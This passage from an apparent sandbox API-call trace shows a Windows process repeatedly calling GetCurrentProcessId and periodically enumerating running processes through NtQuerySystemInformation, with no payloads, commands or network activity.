SystemInformation=0x12517c70, ResultLength=0x1b7becb0*=0x1dfd8) returned 0x0 [0283.541] GetCurrentProcessId () returned 0x10c0 [0283.541] GetCurrentProcessId () returned 0x10c0 [0283.541] GetCurrentProcessId () returned 0x10c0 [0283.541] GetCurrentProcessId () returned 0x10c0 [0283.541] GetCurrentProcessId () returned 0x10c0 [0283.541] GetCurrentProcessId () returned 0x10c0 [0283.541] GetCurrentProcessId () returned 0x10c0 [0283.542] GetCurrentProcessId () returned 0x10c0 [0283.542] GetCurrentProcessId () returned 0x10c0 [0283.542] GetCurrentProcessId () returned 0x10c0 [0283.542] GetCurrentProcessId () returned 0x10c0 [0283.542] GetCurrentProcessId () returned 0x10c0 [0283.542] GetCurrentProcessId () returned 0x10c0 [0283.542] GetCurrentProcessId () returned 0x10c0 [0283.542] GetCurrentProcessId () returned 0x10c0 [0283.542] GetCurrentProcessId () returned 0x10c0 [0283.542] GetCurrentProcessId () returned 0x10c0 [0283.542] GetCurrentProcessId () returned 0x10c0 [0283.542] GetCurrentProcessId () returned 0x10c0 [0283.542] GetCurrentProcessId () returned 0x10c0 [0283.542] GetCurrentProcessId () returned 0x10c0 [0283.542] GetCurrentProcessId () returned 0x10c0 [0283.542] GetCurrentProcessId () returned 0x10c0 [0283.542] GetCurrentProcessId () returned 0x10c0 [0283.542] GetCurrentProcessId () returned 0x10c0 [0283.542] GetCurrentProcessId () returned 0x10c0 [0283.542] GetCurrentProcessId () returned 0x10c0 [0283.542] GetCurrentProcessId () returned 0x10c0 [0283.542] GetCurrentProcessId () returned 0x10c0 [0283.542] GetCurrentProcessId () returned 0x10c0 [0283.542] GetCurrentProcessId () returned 0x10c0 [0283.542] GetCurrentProcessId () returned 0x10c0 [0283.542] GetCurrentProcessId () returned 0x10c0 [0283.542] GetCurrentProcessId () returned 0x10c0 [0283.543] GetCurrentProcessId () returned 0x10c0 [0283.543] GetCurrentProcessId () returned 0x10c0 [0283.543] GetCurrentProcessId () returned 0x10c0 [0283.543] GetCurrentProcessId () returned 0x10c0 [0283.543] GetCurrentProcessId () returned 0x10c0 [0283.543] GetCurrentProcessId () returned 0x10c0 [0283.543] GetCurrentProcessId () returned 0x10c0 [0283.545] GetCurrentProcessId () returned 0x10c0 [0283.545] GetCurrentProcessId () returned 0x10c0 [0283.545] GetCurrentProcessId () returned 0x10c0 [0283.545] GetCurrentProcessId () returned 0x10c0 [0283.545] GetCurrentProcessId () returned 0x10c0 [0283.545] GetCurrentProcessId () returned 0x10c0 [0283.545] GetCurrentProcessId () returned 0x10c0 [0283.545] GetCurrentProcessId () returned 0x10c0 [0283.545] GetCurrentProcessId () returned 0x10c0 [0283.545] GetCurrentProcessId () returned 0x10c0 [0283.545] GetCurrentProcessId () returned 0x10c0 [0283.545] GetCurrentProcessId () returned 0x10c0 [0283.545] GetCurrentProcessId () returned 0x10c0 [0283.545] GetCurrentProcessId () returned 0x10c0 [0283.545] GetCurrentProcessId () returned 0x10c0 [0283.546] GetCurrentProcessId () returned 0x10c0 [0283.546] GetCurrentProcessId () returned 0x10c0 [0283.546] GetCurrentProcessId () returned 0x10c0 [0283.546] GetCurrentProcessId () returned 0x10c0 [0283.546] GetCurrentProcessId () returned 0x10c0 [0283.546] GetCurrentProcessId () returned 0x10c0 [0283.546] GetCurrentProcessId () returned 0x10c0 [0283.546] GetCurrentProcessId () returned 0x10c0 [0283.546] GetCurrentProcessId () returned 0x10c0 [0283.546] GetCurrentProcessId () returned 0x10c0 [0283.546] GetCurrentProcessId () returned 0x10c0 [0283.546] GetCurrentProcessId () returned 0x10c0 [0283.546] GetCurrentProcessId () returned 0x10c0 [0283.546] GetCurrentProcessId () returned 0x10c0 [0283.546] GetCurrentProcessId () returned 0x10c0 [0283.546] GetCurrentProcessId () returned 0x10c0 [0283.546] GetCurrentProcessId () returned 0x10c0 [0283.546] GetCurrentProcessId () returned 0x10c0 [0283.546] GetCurrentProcessId () returned 0x10c0 [0283.546] GetCurrentProcessId () returned 0x10c0 [0283.546] GetCurrentProcessId () returned 0x10c0 [0283.546] GetCurrentProcessId () returned 0x10c0 [0283.546] GetCurrentProcessId () returned 0x10c0 [0283.546] GetCurrentProcessId () returned 0x10c0 [0283.546] GetCurrentProcessId () returned 0x10c0 [0283.546] GetCurrentProcessId () returned 0x10c0 [0283.546] GetCurrentProcessId () returned 0x10c0 [0283.546] GetCurrentProcessId () returned 0x10c0 [0283.547] GetCurrentProcessId () returned 0x10c0 [0283.547] GetCurrentProcessId () returned 0x10c0 [0283.547] GetCurrentProcessId () returned 0x10c0 [0283.547] GetCurrentProcessId () returned 0x10c0 [0283.547] GetCurrentProcessId () returned 0x10c0 [0283.547] GetCurrentProcessId () returned 0x10c0 [0283.547] GetCurrentProcessId () returned 0x10c0 [0283.547] GetCurrentProcessId () returned 0x10c0 [0283.547] GetCurrentProcessId () returned 0x10c0 [0283.547] GetCurrentProcessId () returned 0x10c0 [0283.547] GetCurrentProcessId () returned 0x10c0 [0283.547] GetCurrentProcessId () returned 0x10c0 [0283.547] GetCurrentProcessId () returned 0x10c0 [0283.547] GetCurrentProcessId () returned 0x10c0 [0283.547] GetCurrentProcessId () returned 0x10c0 [0283.547] GetCurrentProcessId () returned 0x10c0 [0283.547] GetCurrentProcessId () returned 0x10c0 [0283.547] GetCurrentProcessId () returned 0x10c0 [0283.547] GetCurrentProcessId () returned 0x10c0 [0283.547] GetCurrentProcessId () returned 0x10c0 [0283.547] GetCurrentProcessId () returned 0x10c0 [0283.547] GetCurrentProcessId () returned 0x10c0 [0283.547] GetCurrentProcessId () returned 0x10c0 [0283.547] GetCurrentProcessId () returned 0x10c0 [0283.547] GetCurrentProcessId () returned 0x10c0 [0283.547] GetCurrentProcessId () returned 0x10c0 [0283.547] GetCurrentProcessId () returned 0x10c0 [0283.547] GetCurrentProcessId () returned 0x10c0 [0283.547] GetCurrentProcessId () returned 0x10c0 [0284.077] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x12517c70, ResultLength=0x1b7becb0*=0x1dfd8) returned 0x0 [0284.078] GetCurrentProcessId () returned 0x10c0 [0284.078] GetCurrentProcessId () returned 0x10c0 [0284.078] GetCurrentProcessId () returned 0x10c0 [0284.078] GetCurrentProcessId () returned 0x10c0 [0284.078] GetCurrentProcessId () returned 0x10c0 [0284.078] GetCurrentProcessId () returned 0x10c0 [0284.078] GetCurrentProcessId () returned 0x10c0 [0284.078] GetCurrentProcessId () returned 0x10c0 [0284.078] GetCurrentProcessId () returned 0x10c0 [0284.078] GetCurrentProcessId () returned 0x10c0 [0284.078] GetCurrentProcessId () returned 0x10c0 [0284.078] GetCurrentProcessId () returned 0x10c0 [0284.078] GetCurrentProcessId () returned 0x10c0 [0284.078] GetCurrentProcessId () returned 0x10c0 [0284.078] GetCurrentProcessId () returned 0x10c0 [0284.078] GetCurrentProcessId () returned 0x10c0 [0284.078] GetCurrentProcessId () returned 0x10c0 [0284.078] GetCurrentProcessId () returned 0x10c0 [0284.079] GetCurrentProcessId () returned 0x10c0 [0284.079] GetCurrentProcessId () returned 0x10c0 [0284.079] GetCurrentProcessId () returned 0x10c0 [0284.079] GetCurrentProcessId () returned 0x10c0 [0284.079] GetCurrentProcessId () returned 0x10c0 [0284.079] GetCurrentProcessId () returned 0x10c0 [0284.079] GetCurrentProcessId () returned 0x10c0 [0284.079] GetCurrentProcessId () returned 0x10c0 [0284.079] GetCurrentProcessId () returned 0x10c0 [0284.079] GetCurrentProcessId () returned 0x10c0 [0284.079] GetCurrentProcessId () returned 0x10c0 [0284.079] GetCurrentProcessId () returned 0x10c0 [0284.079] GetCurrentProcessId () returned 0x10c0 [0284.079] GetCurrentProcessId () returned 0x10c0 [0284.079] GetCurrentProcessId () returned 0x10c0 [0284.079] GetCurrentProcessId () returned 0x10c0 [0284.079] GetCurrentProcessId () returned 0x10c0 [0284.079] GetCurrentProcessId () returned 0x10c0 [0284.079] GetCurrentProcessId () returned 0x10c0 [0284.079] GetCurrentProcessId () returned 0x10c0 [0284.079] GetCurrentProcessId () returned 0x10c0 [0284.079] GetCurrentProcessId () returned 0x10c0 [0284.079] GetCurrentProcessId () returned 0x10c0 [0284.079] GetCurrentProcessId () returned 0x10c0 [0284.079] GetCurrentProcessId () returned 0x10c0 [0284.079] GetCurrentProcessId () returned 0x10c0 [0284.079] GetCurrentProcessId () returned 0x10c0 [0284.079] GetCurrentProcessId () returned 0x10c0 [0284.079] GetCurrentProcessId () returned 0x10c0 [0284.079] GetCurrentProcessId () returned 0x10c0 [0284.079] GetCurrentProcessId () returned 0x10c0 [0284.079] GetCurrentProcessId () returned 0x10c0 [0284.079] GetCurrentProcessId () returned 0x10c0 [0284.079] GetCurrentProcessId () returned 0x10c0 [0284.079] GetCurrentProcessId () returned 0x10c0 [0284.079] GetCurrentProcessId () returned 0x10c0 [0284.079] GetCurrentProcessId () returned 0x10c0 [0284.080] GetCurrentProcessId () returned 0x10c0 [0284.080] GetCurrentProcessId () returned 0x10c0 [0284.080] GetCurrentProcessId () returned 0x10c0 [0284.080] GetCurrentProcessId () returned 0x10c0 [0284.080] GetCurrentProcessId () returned 0x10c0 [0284.080] GetCurrentProcessId () returned 0x10c0 [0284.080] GetCurrentProcessId () returned 0x10c0 [0284.080] GetCurrentProcessId () returned 0x10c0 [0284.080] GetCurrentProcessId () returned 0x10c0 [0284.080] GetCurrentProcessId () returned 0x10c0 [0284.080] GetCurrentProcessId () returned 0x10c0 [0284.080] GetCurrentProcessId () returned 0x10c0 [0284.080] GetCurrentProcessId () returned 0x10c0 [0284.080] GetCurrentProcessId () returned 0x10c0 [0284.080] GetCurrentProcessId () returned 0x10c0 [0284.080] GetCurrentProcessId () returned 0x10c0 [0284.080] GetCurrentProcessId () returned 0x10c0 [0284.080] GetCurrentProcessId () returned 0x10c0 [0284.080] GetCurrentProcessId () returned 0x10c0 [0284.080] GetCurrentProcessId () returned 0x10c0 [0284.080] GetCurrentProcessId () returned 0x10c0 [0284.080] GetCurrentProcessId () returned 0x10c0 [0284.080] GetCurrentProcessId () returned 0x10c0 [0284.080] GetCurrentProcessId () returned 0x10c0 [0284.080] GetCurrentProcessId () returned 0x10c0 [0284.080] GetCurrentProcessId () returned 0x10c0 [0284.080] GetCurrentProcessId () returned 0x10c0 [0284.080] GetCurrentProcessId () returned 0x10c0 [0284.080] GetCurrentProcessId () returned 0x10c0 [0284.080] GetCurrentProcessId () returned 0x10c0 [0284.080] GetCurrentProcessId () returned 0x10c0 [0284.080] GetCurrentProcessId () returned 0x10c0 [0284.080] GetCurrentProcessId () returned 0x10c0 [0284.080] GetCurrentProcessId () returned 0x10c0 [0284.080] GetCurrentProcessId () returned 0x10c0 [0284.081] GetCurrentProcessId () returned 0x10c0 [0284.081] GetCurrentProcessId () returned 0x10c0 [0284.081] GetCurrentProcessId () returned 0x10c0 [0284.081] GetCurrentProcessId () returned 0x10c0 [0284.081] GetCurrentProcessId () returned 0x10c0 [0284.081] GetCurrentProcessId () returned 0x10c0 [0284.081] GetCurrentProcessId () returned 0x10c0 [0284.081] GetCurrentProcessId () returned 0x10c0 [0284.081] GetCurrentProcessId () returned 0x10c0 [0284.081] GetCurrentProcessId () returned 0x10c0 [0284.081] GetCurrentProcessId () returned 0x10c0 [0284.081] GetCurrentProcessId () returned 0x10c0 [0284.081] GetCurrentProcessId () returned 0x10c0 [0284.081] GetCurrentProcessId () returned 0x10c0 [0284.081] GetCurrentProcessId () returned 0x10c0 [0284.081] GetCurrentProcessId () returned 0x10c0 [0284.081] GetCurrentProcessId () returned 0x10c0 [0284.081] GetCurrentProcessId () returned 0x10c0 [0284.081] GetCurrentProcessId () returned 0x10c0 [0284.081] GetCurrentProcessId () returned 0x10c0 [0284.081] GetCurrentProcessId () returned 0x10c0 [0284.081] GetCurrentProcessId () returned 0x10c0 [0284.081] GetCurrentProcessId () returned 0x10c0 [0284.653] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x12517c70, ResultLength=0x1b7becb0*=0x1dfd8) returned 0x0 [0284.654] GetCurrentProcessId () returned 0x10c0 [0284.654] GetCurrentProcessId () returned 0x10c0 [0284.654] GetCurrentProcessId () returned 0x10c0 [0284.654] GetCurrentProcessId () returned 0x10c0 [0284.655] GetCurrentProcessId () returned 0x10c0 [0284.655] GetCurrentProcessId () returned 0x10c0 [0284.655] GetCurrentProcessId () returned 0x10c0 [0284.655] GetCurrentProcessId () returned 0x10c0 [0284.655] GetCurrentProcessId () returned 0x10c0 [0284.655] GetCurrentProcessId () returned 0x10c0 [0284.655] GetCurrentProcessId () returned 0x10c0 [0284.655] GetCurrentProcessId () returned 0x10c0 [0284.655] GetCurrentProcessId () returned 0x10c0 [0284.655] GetCurrentProcessId () returned 0x10c0 [0284.655] GetCurrentProcessId () returned 0x10c0 [0284.655] GetCurrentProcessId () returned 0x10c0 [0284.655] GetCurrentProcessId () returned 0x10c0 [0284.655] GetCurrentProcessId () returned 0x10c0 [0284.655] GetCurrentProcessId () returned 0x10c0 [0284.655] GetCurrentProcessId () returned 0x10c0 [0284.655] GetCurrentProcessId () returned 0x10c0 [0284.655] GetCurrentProcessId () returned 0x10c0 [0284.655] GetCurrentProcessId () returned 0x10c0 [0284.655] GetCurrentProcessId () returned 0x10c0 [0284.655] GetCurrentProcessId () returned 0x10c0 [0284.655] GetCurrentProcessId () returned 0x10c0 [0284.655] GetCurrentProcessId () returned 0x10c0 [0284.655] GetCurrentProcessId () returned 0x10c0 [0284.655] GetCurrentProcessId () returned 0x10c0 [0284.655] GetCurrentProcessId () returned 0x10c0 [0284.655] GetCurrentProcessId () returned 0x10c0 [0284.655] GetCurrentProcessId () returned 0x10c0 [0284.655] GetCurrentProcessId () returned 0x10c0 [0284.655] GetCurrentProcessId () returned 0x10c0 [0284.655] GetCurrentProcessId () returned 0x10c0 [0284.655] GetCurrentProcessId () returned 0x10c0 [0284.656] GetCurrentProcessId () returned 0x10c0 [0284.656] GetCurrentProcessId () returned 0x10c0 [0284.656] GetCurrentProcessId () returned 0x10c0 [0284.656] GetCurrentProcessId () returned 0x10c0 [0284.656] GetCurrentProcessId () returned 0x10c0 [0284.656] GetCurrentProcessId () returned 0x10c0 [0284.656] GetCurrentProcessId () returned 0x10c0 [0284.656] GetCurrentProcessId () returned 0x10c0 [0284.656] GetCurrentProcessId () returned 0x10c0 [0284.656] GetCurrentProcessId () returned 0x10c0 [0284.656] GetCurrentProcessId () returned 0x10c0 [0284.656] GetCurrentProcessId () returned 0x10c0 [0284.656] GetCurrentProcessId () returned 0x10c0 [0284.656] GetCurrentProcessId () returned 0x10c0 [0284.656] GetCurrentProcessId () returned 0x10c0 [0284.656] GetCurrentProcessId () returned 0x10c0 [0284.656] GetCurrentProcessId () returned 0x10c0 [0284.656] GetCurrentProcessId () returned 0x10c0 [0284.656] GetCurrentProcessId () returned 0x10c0 [0284.656] GetCurrentProcessId () returned 0x10c0 [0284.656] GetCurrentProcessId () returned 0x10c0 [0284.656] GetCurrentProcessId () returned 0x10c0 [0284.656] GetCurrentProcessId () returned 0x10c0 [0284.656] GetCurrentProcessId () returned 0x10c0 [0284.656] GetCurrentProcessId () returned 0x10c0 [0284.656] GetCurrentProcessId () returned 0x10c0 [0284.656] GetCurrentProcessId () returned 0x10c0 [0284.656] GetCurrentProcessId () returned 0x10c0 [0284.656] GetCurrentProcessId () returned 0x10c0 [0284.656] GetCurrentProcessId () returned 0x10c0 [0284.656] GetCurrentProcessId () returned 0x10c0 [0284.656] GetCurrentProcessId () returned 0x10c0 [0284.657] GetCurrentProcessId () returned 0x10c0 [0284.657] GetCurrentProcessId () returned 0x10c0 [0284.657] GetCurrentProcessId () returned 0x10c0 [0284.657] GetCurrentProcessId () returned 0x10c0 [0284.657] GetCurrentProcessId () returned 0x10c0 [0284.657] GetCurrentProcessId () returned 0x10c0 [0284.657] GetCurrentProcessId () returned 0x10c0 [0284.657] GetCurrentProcessId () returned 0x10c0 [0284.657] GetCurrentProcessId () returned 0x10c0 [0284.657] GetCurrentProcessId () returned 0x10c0 [0284.657] GetCurrentProcessId () returned 0x10c0 [0284.657] GetCurrentProcessId () returned 0x10c0 [0284.657] GetCurrentProcessId () returned 0x10c0 [0284.657] GetCurrentProcessId () returned 0x10c0 [0284.657] GetCurrentProcessId () returned 0x10c0 [0284.657] GetCurrentProcessId () returned 0x10c0 [0284.657] GetCurrentProcessId () returned 0x10c0 [0284.657] GetCurrentProcessId () returned 0x10c0 [0284.657] GetCurrentProcessId () returned 0x10c0 [0284.657] GetCurrentProcessId () returned 0x10c0 [0284.657] GetCurrentProcessId () returned 0x10c0 [0284.657] GetCurrentProcessId () returned 0x10c0 [0284.657] GetCurrentProcessId () returned 0x10c0 [0284.657] GetCurrentProcessId () returned 0x10c0 [0284.657] GetCurrentProcessId () returned 0x10c0 [0284.657] GetCurrentProcessId () returned 0x10c0 [0284.657] GetCurrentProcessId () returned 0x10c0 [0284.657] GetCurrentProcessId () returned 0x10c0 [0284.657] GetCurrentProcessId () returned 0x10c0 [0284.657] GetCurrentProcessId () returned 0x10c0 [0284.657] GetCurrentProcessId () returned 0x10c0 [0284.657] GetCurrentProcessId () returned 0x10c0 [0284.658] GetCurrentProcessId () returned 0x10c0 [0284.658] GetCurrentProcessId () returned 0x10c0 [0284.658] GetCurrentProcessId () returned 0x10c0 [0284.658] GetCurrentProcessId () returned 0x10c0 [0284.658] GetCurrentProcessId () returned 0x10c0 [0284.658] GetCurrentProcessId () returned 0x10c0 [0284.658] GetCurrentProcessId () returned 0x10c0 [0284.658] GetCurrentProcessId () returned 0x10c0 [0284.658] GetCurrentProcessId () returned 0x10c0 [0284.658] GetCurrentProcessId () returned 0x10c0 [0284.658] GetCurrentProcessId () returned 0x10c0 [0284.658] GetCurrentProcessId () returned 0x10c0 [0284.658] GetCurrentProcessId () returned 0x10c0 [0285.246] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x12517c70, ResultLength=0x1b7becb0*=0x1dfd8) returned 0x0 [0285.284] GetCurrentProcessId () returned 0x10c0 [0285.284] GetCurrentProcessId () returned 0x10c0 [0285.284] GetCurrentProcessId () returned 0x10c0 [0285.284] GetCurrentProcessId () returned 0x10c0 [0285.284] GetCurrentProcessId () returned 0x10c0 [0285.284] GetCurrentProcessId () returned 0x10c0 [0285.284] GetCurrentProcessId () returned 0x10c0 [0285.284] GetCurrentProcessId () returned 0x10c0 [0285.284] GetCurrentProcessId () returned 0x10c0 [0285.284] GetCurrentProcessId () returned 0x10c0 [0285.284] GetCurrentProcessId () returned 0x10c0 [0285.284] GetCurrentProcessId () returned 0x10c0 [0285.284] GetCurrentProcessId () returned 0x10c0 [0285.284] GetCurrentProcessId () returned 0x10c0 [0285.284] GetCurrentProcessId () returned 0x10c0 [0285.284] GetCurrentProcessId () returned 0x10c0 [0285.284] GetCurrentProcessId () returned 0x10c0 [0285.285] GetCurrentProcessId () returned 0x10c0 [0285.285] GetCurrentProcessId () returned 0x10c0 [0285.285] GetCurrentProcessId () returned 0x10c0 [0285.285] GetCurrentProcessId () returned 0x10c0 [0285.285] GetCurrentProcessId () returned 0x10c0 [0285.285] GetCurrentProcessId () returned 0x10c0 [0285.285] GetCurrentProcessId () returned 0x10c0 [0285.285] GetCurrentProcessId () returned 0x10c0 [0285.285] GetCurrentProcessId () returned 0x10c0 [0285.285] GetCurrentProcessId () returned 0x10c0 [0285.285] GetCurrentProcessId () returned 0x10c0 [0285.285] GetCurrentProcessId () returned 0x10c0 [0285.285] GetCurrentProcessId () returned 0x10c0 [0285.285] GetCurrentProcessId () returned 0x10c0 [0285.285] GetCurrentProcessId () returned 0x10c0 [0285.285] GetCurrentProcessId () returned 0x10c0 [0285.285] GetCurrentProcessId () returned 0x10c0 [0285.285] GetCurrentProcessId () returned 0x10c0 [0285.285] GetCurrentProcessId () returned 0x10c0 [0285.285] GetCurrentProcessId () returned 0x10c0 [0285.285] GetCurrentProcessId () returned 0x10c0 [0285.285] GetCurrentProcessId () returned 0x10c0 [0285.285] GetCurrentProcessId () returned 0x10c0 [0285.285] GetCurrentProcessId () returned 0x10c0 [0285.285] GetCurrentProcessId () returned 0x10c0 [0285.285] GetCurrentProcessId () returned 0x10c0 [0285.285] GetCurrentProcessId () returned 0x10c0 [0285.285] GetCurrentProcessId () returned 0x10c0 [0285.285] GetCurrentProcessId () returned 0x10c0 [0285.285] GetCurrentProcessId () returned 0x10c0 [0285.286] GetCurrentProcessId () returned 0x10c0 [0285.286] GetCurrentProcessId () returned 0x10c0 [0285.286] GetCurrentProcessId () returned 0x10c0 [0285.286] GetCurrentProcessId () returned 0x10c0 [0285.286] GetCurrentProcessId () returned 0x10c0 [0285.286] GetCurrentProcessId () returned 0x10c0 [0285.286] GetCurrentProcessId () returned 0x10c0 [0285.286] GetCurrentProcessId () returned 0x10c0 [0285.286] GetCurrentProcessId () returned 0x10c0 [0285.286] GetCurrentProcessId () returned 0x10c0 [0285.286] GetCurrentProcessId () returned 0x10c0 [0285.286] GetCurrentProcessId () returned 0x10c0 [0285.286] GetCurrentProcessId () returned 0x10c0 [0285.286] GetCurrentProcessId () returned 0x10c0 [0285.286] GetCurrentProcessId () returned 0x10c0 [0285.286] GetCurrentProcessId () returned 0x10c0 [0285.286] GetCurrentProcessId () returned 0x10c0 [0285.286] GetCurrentProcessId () returned 0x10c0 [0285.286] GetCurrentProcessId () returned 0x10c0 [0285.286] GetCurrentProcessId () returned 0x10c0 [0285.286] GetCurrentProcessId () returned 0x10c0 [0285.286] GetCurrentProcessId () returned 0x10c0 [0285.286] GetCurrentProcessId () returned 0x10c0 [0285.286] GetCurrentProcessId () returned 0x10c0 [0285.286] GetCurrentProcessId () returned 0x10c0 [0285.286] GetCurrentProcessId () returned 0x10c0 [0285.286] GetCurrentProcessId () returned 0x10c0 [0285.286] GetCurrentProcessId () returned 0x10c0 [0285.286] GetCurrentProcessId () returned 0x10c0 [0285.286] GetCurrentProcessId () returned 0x10c0 [0285.287] GetCurrentProcessId () returned 0x10c0 [0285.287] GetCurrentProcessId () returned 0x10c0 [0285.287] GetCurrentProcessId () returned 0x10c0 [0285.287] GetCurrentProcessId () returned 0x10c0 [0285.287] GetCurrentProcessId () returned 0x10c0 [0285.287] GetCurrentProcessId () returned 0x10c0 [0285.287] GetCurrentProcessId () returned 0x10c0 [0285.287] GetCurrentProcessId () returned 0x10c0 [0285.287] GetCurrentProcessId () returned 0x10c0 [0285.287] GetCurrentProcessId () returned 0x10c0 [0285.287] GetCurrentProcessId () returned 0x10c0 [0285.287] GetCurrentProcessId () returned 0x10c0 [0285.287] GetCurrentProcessId () returned 0x10c0 [0285.287] GetCurrentProcessId () returned 0x10c0 [0285.287] GetCurrentProcessId () returned 0x10c0 [0285.287] GetCurrentProcessId () returned 0x10c0 [0285.287] GetCurrentProcessId () returned 0x10c0 [0285.287] GetCurrentProcessId () returned 0x10c0 [0285.287] GetCurrentProcessId () returned 0x10c0 [0285.287] GetCurrentProcessId () returned 0x10c0 [0285.287] GetCurrentProcessId () returned 0x10c0 [0285.287] GetCurrentProcessId () returned 0x10c0 [0285.287] GetCurrentProcessId () returned 0x10c0 [0285.287] GetCurrentProcessId () returned 0x10c0 [0285.287] GetCurrentProcessId () returned 0x10c0 [0285.287] GetCurrentProcessId () returned 0x10c0 [0285.287] GetCurrentProcessId () returned 0x10c0 [0285.287] GetCurrentProcessId () returned 0x10c0 [0285.287] GetCurrentProcessId () returned 0x10c0 [0285.287] GetCurrentProcessId () returned 0x10c0 [0285.287] GetCurrentProcessId () returned 0x10c0 [0285.288] GetCurrentProcessId () returned 0x10c0 [0285.288] GetCurrentProcessId () returned 0x10c0 [0285.288] GetCurrentProcessId () returned 0x10c0 [0285.288] GetCurrentProcessId () returned 0x10c0 [0285.288] GetCurrentProcessId () returned 0x10c0 [0285.800] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x12517c70, Length=0x20000, ResultLength=0x1b7becb0 | out: SystemInformation=0x12517c70, ResultLength=0x1b7becb0*=0x1e078) returned 0x0 [0285.802] GetCurrentProcessId () returned 0x10c0 [0285.802] GetCurrentProcessId () returned 0x10c0 [0285.802] GetCurrentProcessId () returned 0x10c0 [0285.802] GetCurrentProcessId () returned 0x10c0 [0285.802] GetCurrentProcessId () returned 0x10c0 [0285.802] GetCurrentProcessId () returned 0x10c0 [0285.802] GetCurrentProcessId () returned 0x10c0 [0285.802] GetCurrentProcessId () returned 0x10c0 [0285.802] GetCurrentProcessId () returned 0x10c0 [0285.802] GetCurrentProcessId () returned 0x10c0 [0285.803] GetCurrentProcessId () returned 0x10c0 [0285.803] GetCurrentProcessId () returned 0x10c0 [0285.803] GetCurrentProcessId () returned 0x10c0 [0285.803] GetCurrentProcessId () returned 0x10c0 [0285.803] GetCurrentProcessId () returned 0x10c0 [0285.803] GetCurrentProcessId () returned 0x10c0 [0285.803] GetCurrentProcessId () returned 0x10c0 [0285.803] GetCurrentProcessId () returned 0x10c0 [0285.803] GetCurrentProcessId () returned 0x10c0 [0285.803] GetCurrentProcessId () returned 0x10c0 [0285.803] GetCurrentProcessId () returned 0x10c0 [0285.803] GetCurrentProcessId () returned 0x10c0 [0285.803] GetCurrentProcessId () returned 0x10c0 [0285.803] GetCurrentProcessId () returned 0x10c0 [0285.803] GetCurrentProcessId () returned 0x10c0 [0285.803] GetCurrentProcessId () returned 0x10c0 [0285.804] GetCurrentProcessId () returned 0x10c0 [0285.804] GetCurrentProcessId () returned 0x10c0 [0285.804] GetCurrentProcessId () returned 0x10c0 [0285.804] GetCurrentProcessId () returned 0x10c0 [0285.804] GetCurrentProcessId () returned 0x10c0 [0285.804] GetCurrentProcessId () returned 0x10c0 [0285.804] GetCurrentProcessId () returned 0x10c0 [0285.804] GetCurrentProcessId () returned 0x10c0 [0285.804] GetCurrentProcessId () returned 0x10c0 [0285.804] GetCurrentProcessId () returned 0x10c0 [0285.804] GetCurrentProcessId () returned 0x10c0 [0285.804] GetCurrentProcessId () returned 0x10c0 [0285.804] GetCurrentProcessId () returned 0x10c0 [0285.804] GetCurrentProcessId () returned 0x10c0 [0285.804] GetCurrentProcessId () returned 0x10c0 [0285.804] GetCurrentProcessId () returned 0x10c0 [0285.804] GetCurrentProcessId () returned 0x10c0 [0285.804] GetCurrentProcessId () returned 0x10c0 [0285.804] GetCurrentProcessId () returned 0x10c0 [0285.805] GetCurrentProcessId () returned 0x10c0 [0285.805] GetCurrentProcessId () returned 0x10c0 [0285.805] GetCurrentProcessId () returned 0x10c0 [0285.805] GetCurrentProcessId () returned 0x10c0 [0285.805] GetCurrentProcessId () returned 0x10c0 [0285.805] GetCurrentProcessId () returned 0x10c0 [0285.805] GetCurrentProcessId () returned 0x10c0 [0285.805] GetCurrentProcessId () returned 0x10c0 [0285.805] GetCurrentProcessId () returned 0x10c0 [0285.805] GetCurrentProcessId () returned 0x10c0 [0285.805] GetCurrentProcessId () returned 0x10c0 [0285.805] GetCurrentProcessId () returned 0x10c0 [0285.805] GetCurrentProcessId () returned 0x10c0 [0285.805] GetCurrentProcessId () returned 0x10c0 [0285.805] GetCurrentProcessId () returned 0x10c0 [0285.805] GetCurrentProcessId () returned 0x10c0 [0285.805] GetCurrentProcessId () returned 0x10c0 [0285.805] GetCurrentProcessId () returned 0x10c0 [0285.805] GetCurrentProcessId () returned 0x10c0 [0285.805] GetCurrentProcessId () returned 0x10c0 [0285.805] GetCurrentProcessId () returned 0x10c0 [0285.805] GetCurrentProcessId () returned 0x10c0 [0285.805] GetCurrentProcessId () returned 0x10c0 [0285.805] GetCurrentProcessId () returned 0x10c0 [0285.805] GetCurrentProcessId () returned 0x10c0 [0285.805] GetCurrentProcessId () returned 0x10c0 [0285.805] GetCurrentProcessId () returned 0x10c0 [0285.805] GetCurrentProcessId () returned 0x10c0 [0285.805] GetCurrentProcessId () returned 0x10c0 [0285.805] GetCurrentProcessId () returned 0x10c0 [0285.806] GetCurrentProcessId () returned 0x10c0 [0285.806] GetCurrentProcessId () returned 0x10c0 [0285.806] GetCurrentProcessId () returned 0x10c0 [0285.806] GetCurrentProcessId () returned 0x10c0 [0285.806] GetCurrentProcessId () returned 0x10c0 [0285.806] GetCurrentProcessId () returned 0x10c0 [0285.806] GetCurrentProcessId () returned 0x10c0 [0285.806] GetCurrentProcessId () returned 0x10c0 [0285.806] GetCurrentProcessId () returned 0x10c0 [0285.806] GetCurrentProcessId () returned 0x10c0 [0285.806] GetCurrentProcessId () returned 0x10c0 [0285.806] GetCurrentProcessId () returned 0x10c0 [0285.806] GetCurrentProcessId () returned 0x10c0 [0285.806] GetCurrentProcessId () returned 0x10c0 [0285.806] GetCurrentProcessId () returned 0x10c0 [0285.806] GetCurrentProcessId () returned 0x10c0 [0285.806] GetCurrentProcessId () returned 0x10c0 [0285.806] GetCurrentProcessId () returned 0x10c0 [0285.806] GetCurrentProcessId () returned 0x10c0 [0285.806] GetCurrentProcessId () returned 0x10c0 [0285.806] GetCurrentProcessId () returned 0x10c0 [0285.806] GetCurrentProcessId () returned 0x10c0 [0285.806] GetCurrentProcessId () returned 0x10c0 [0285.806] GetCurrentProcessId () returned 0x10c0 [0285.806] GetCurrentProcessId () returned 0x10c0 [0285.806] GetCurrentProcessId () returned 0x10c0 [0285.806] GetCurrentProcessId () returned 0x10c0 [0285.806] GetCurrentProcessId () returned 0x10c0 [0285.806] GetCurrentProcessId () returned 0x10c0 [0285.807] GetCurrentProcessId () returned 0x10c0 